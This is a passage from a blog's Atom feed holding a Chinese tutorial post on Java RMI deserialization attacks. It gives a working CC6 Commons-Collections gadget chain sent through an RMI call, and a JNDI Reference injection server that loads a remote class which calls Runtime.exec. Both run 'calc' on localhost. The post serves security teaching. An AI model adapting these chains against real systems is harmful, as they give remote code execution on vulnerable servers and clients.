<category term="反序列化" scheme="http://example.com/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
</entry>
<entry>
<title>java反序列化之RMI</title>
<link href="http://example.com/post/2023/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRMI/"/>
<id>http://example.com/post/2023/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRMI/</id>
<published>2023-03-28T08:37:15.000Z</published>
<updated>2023-08-07T01:19:19.347Z</updated>
<content type="html"><![CDATA[<h1 id="RMI">RMI</h1><p><code>RMI(Remote Method Invocation)</code>是Java中用于实现<code>远程方法调用</code>的机制,它允许在不同的JVM之间传递和执行Java对象的方法调用。</p><p>下面是一个简单的RMI示例代码:</p><p>Server端代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">NeedOb</span> <span class="keyword">extends</span> <span class="title class_">Remote</span> {<span class="comment">//创建远程对象接口,这里要继承Remote</span></span><br><span class="line"> <span class="keyword">public</span> String <span class="title function_">sayhello</span> <span class="params">()</span> <span class="keyword">throws</span> RemoteException;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NeedObject</span> <span class="keyword">extends</span> <span class="title class_">UnicastRemoteObject</span> <span class="keyword">implements</span> <span class="title class_">NeedOb</span>{<span class="comment">//接口实现类</span></span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">NeedObject</span><span class="params">()</span> <span class="keyword">throws</span> RemoteException{};</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> String <span class="title function_">sayhello</span><span class="params">()</span> <span class="keyword">throws</span> RemoteException {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"hello"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RMIServer</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> RemoteException, AlreadyBoundException {</span><br><span class="line"> <span class="type">NeedObject</span> <span class="variable">needObject</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">NeedObject</span>();<span class="comment">//初始化远程对象(在这里其实就可以使用了,只不过不知道端口号)</span></span><br><span class="line"> <span class="type">Registry</span> <span class="variable">registry</span> <span class="operator">=</span> LocateRegistry.createRegistry(<span class="number">1099</span>);</span><br><span class="line"> registry.bind(<span class="string">"needObject"</span>,needObject);<span class="comment">//绑定needObject对象</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>Client端代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RMIClient</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> RemoteException, NotBoundException {</span><br><span class="line"> <span class="type">Registry</span> <span class="variable">registry</span> <span class="operator">=</span> LocateRegistry.getRegistry(<span class="string">"127.0.0.1"</span>,<span class="number">1099</span>);</span><br><span class="line"> <span class="type">NeedOb</span> <span class="variable">needObject2</span> <span class="operator">=</span> (NeedOb) registry.lookup(<span class="string">"needObject"</span>);</span><br><span class="line"> System.out.println(needObject2.sayhello());<span class="comment">//调用sayhello方法</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>结果输出:</p><p><img src="image-20230328170900218.png" alt="image-20230328170900218"></p><p>通讯过程:</p><ol><li>客户端通过lookup()方法查找远程对象的引用。这个过程需要指定要查找的远程对象的URL地址(包括主机名、注册表名称和对象名称)。</li><li>客户端调用远程对象的方法。这个过程和调用本地对象的方法类似,客户端并不知道这个对象在运行时是否在本地,也不知道对象实现的细节。</li><li>客户端请求经过网络传输到服务端。这个过程涉及到数据的编码和解码,通过<code>Java序列化机制</code>将对象转换成字节数组进行传输。</li><li>服务端收到请求,根据请求参数调用相应的方法,并将结果返回给客户端。这个过程同样需要涉及数据的编码和解码。</li><li>服务端的响应经过网络传输到客户端,客户端接收响应并将返回值转换成本地对象。</li></ol><h1 id="序列化利用">序列化利用</h1><p>仅通过上述代码是很难进行利用的,但我们从传输的过程可以发现客户端在调用远程对象方法的时候,传输的参数有一个<code>先在客户端序列化,然后在服务端反序列化</code>的过程,所以我们就可以利用这个过程实现反序列化的利用,这里以CC6为例。</p><p>条件:远程调用方法允许传入<code>Object对象</code>&服务端<code>有commons-collections的依赖</code></p><p>我们首先把sayhello方法修改成可传入Object对象</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NeedObject</span> <span class="keyword">extends</span> <span class="title class_">UnicastRemoteObject</span> <span class="keyword">implements</span> <span class="title class_">NeedOb</span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">NeedObject</span><span class="params">()</span> <span class="keyword">throws</span> RemoteException{};</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> String <span class="title function_">sayhello</span><span class="params">(Object object)</span> <span class="keyword">throws</span> RemoteException {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"hello"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在服务端添加commons-collections依赖</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>commons-collections<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>commons-collections<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>3.2.1<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"><span class="tag"></<span class="name">dependency</span>></span></span><br></pre></td></tr></table></figure><p>客户端修改poc:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">Transformer[] Transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]{</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"getMethod"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class, Class[].class}, <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"getRuntime"</span>, <span class="literal">null</span>}),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"invoke"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]{Object.class, Object[].class}, <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="literal">null</span>, <span class="literal">null</span>}),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"calc"</span>})</span><br><span class="line">};</span><br><span class="line"><span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(Transformers);</span><br><span class="line">HashMap<Object,Object> map = <span class="keyword">new</span> <span class="title class_">HashMap</span><Object,Object>();</span><br><span class="line"><span class="type">Map</span> <span class="variable">lazymap</span> <span class="operator">=</span> LazyMap.decorate(map, chainedTransformer);</span><br><span class="line"><span class="type">TiedMapEntry</span> <span class="variable">tiedMapEntry</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TiedMapEntry</span>(map,<span class="string">"13"</span>);</span><br><span class="line">HashMap<Object,Object> hashMap=<span class="keyword">new</span> <span class="title class_">HashMap</span><>();</span><br><span class="line">hashMap.put(tiedMapEntry,<span class="string">"123"</span>);</span><br><span class="line">hashMap.remove(<span class="string">"13"</span>);</span><br><span class="line"><span class="type">Class</span> <span class="variable">clazz</span> <span class="operator">=</span> tiedMapEntry.getClass();</span><br><span class="line"><span class="type">Field</span> <span class="variable">mapfield</span> <span class="operator">=</span> clazz.getDeclaredField(<span class="string">"map"</span>);</span><br><span class="line">mapfield.setAccessible(<span class="literal">true</span>);</span><br><span class="line">mapfield.set(tiedMapEntry,lazymap);</span><br><span class="line"></span><br><span class="line"><span class="comment">//以上是cc6的利用链生成</span></span><br><span class="line"><span class="type">Registry</span> <span class="variable">registry</span> <span class="operator">=</span> LocateRegistry.getRegistry(<span class="string">"127.0.0.1"</span>,<span class="number">1099</span>);</span><br><span class="line"><span class="type">NeedOb</span> <span class="variable">needObject</span> <span class="operator">=</span> (NeedOb) registry.lookup(<span class="string">"needObject"</span>);</span><br><span class="line">needObject.sayhello(hashMap);<span class="comment">//传入反序列化对象</span></span><br></pre></td></tr></table></figure><p>命令执行成功!!!</p><p><img src="image-20230328194847154.png" alt="image-20230328194847154"></p><h1 id="RMI-JNDI">RMI+JNDI</h1><p>JNDI(Java 命名和目录接口)是 Java 平台提供的一组 API,用于查找和访问命名和目录服务。它可以让 Java 应用程序在运行时动态地查找和使用各种资源,如数据库连接、邮件服务器、JMS 消息队列等。通过 JNDI,Java 应用程序可以在不同的环境中进行配置和部署,而无需修改代码。</p><p><img src="image-20230329202416845.png" alt="image-20230329202416845"></p><p>JNDI支持很多协议,其中就包括RMI协议</p><p>以下是一段利用jndi调用远程对象的客户端实例代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">InitialContext</span> <span class="variable">context</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InitialContext</span>();<span class="comment">//创建JNDI上下文</span></span><br><span class="line"><span class="type">NeedOb</span> <span class="variable">needObject</span> <span class="operator">=</span> (NeedOb) context.lookup(<span class="string">"rmi://localhost:1099/needObject"</span>);</span><br><span class="line">context.lookup(<span class="string">"rmi://localhost:1099/needObject"</span>);</span><br><span class="line">System.out.println(needObject.sayhello(<span class="string">"111"</span>));</span><br></pre></td></tr></table></figure><p>运行后将会直接调用远程对象的sayhello方法</p><p>之前我们是利用客户端去攻击服务端,而RMI+JNDI可以利用服务端去攻击客户端,当客户端lookup里的参数可控时,我们构造以下服务端代码来执行任意命令:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RMIServer</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"> <span class="type">Reference</span> <span class="variable">reference</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Reference</span>(<span class="string">"Test"</span>,<span class="string">"Test"</span>,<span class="string">"http://127.0.0.1:7777/"</span>);</span><br><span class="line"> <span class="type">Registry</span> <span class="variable">registry</span> <span class="operator">=</span> LocateRegistry.createRegistry(<span class="number">1099</span>);</span><br><span class="line"> <span class="type">ReferenceWrapper</span> <span class="variable">wrapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ReferenceWrapper</span>(reference);</span><br><span class="line"> registry.bind(<span class="string">"needObject"</span>,wrapper);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>对应的Test类:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Test</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">Test</span><span class="params">()</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> Runtime.getRuntime().exec(<span class="string">"calc"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>先启动服务程序,然后在Test.class文件位置用<code>python -m http.server 7777</code>在本地7777端口开一个http服务</p><p>启动客户端发现命令被执行</p><p><img src="image-20230329205341513.png" alt="image-20230329205341513"></p><p>这段代码的重点在于<code>Reference reference = new Reference("Test","Test","http://127.0.0.1:7777/");</code></p><p>在Java的JNDI(Java命名和目录接口)中,<code>Reference类</code>用于表示对远程或本地资源的引用,例如Web服务、JDBC数据源等。<code>Reference对象</code>通常包含了一些元数据信息,如引用类型、名称、位置、认证信息等。</p><p><code>Reference(String className, String factoryClassName, String location)</code>是Reference类的一个构造方法,传入的三个参数分别为<code>类名</code>、<code>工厂类名</code>、<code>URL地址</code></p><p>因为<code>Reference</code>没有实现<code>Remote</code>接口也没有继承<code>UnicastRemoteObject</code>类,故不能作为远程对象bind到注册中心,所以需要使用<code>ReferenceWrapper</code>对<code>Reference</code>的实例进行一个封装。</p><p>当客户端运行代码的时候会去http://127.0.0.1:7777寻找Test类同时调用其构造方法,于是就触发了构造方法中的命令</p>]]></content>
<summary type="html"><h1 id="RMI">RMI</h1>
<p><code>RMI(Remote Method Invocation)</code>是Java中用于实现<code>远程方法调用</code>的机制,它允许在不同的JVM之间传递和执行Java对象的方法调用。</p>
<p>下面是</summary>
<category term="JAVA" scheme="http://example.com/categories/JAVA/"/>
<category term="反序列化" scheme="http://example.com/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
</entry>
</feed>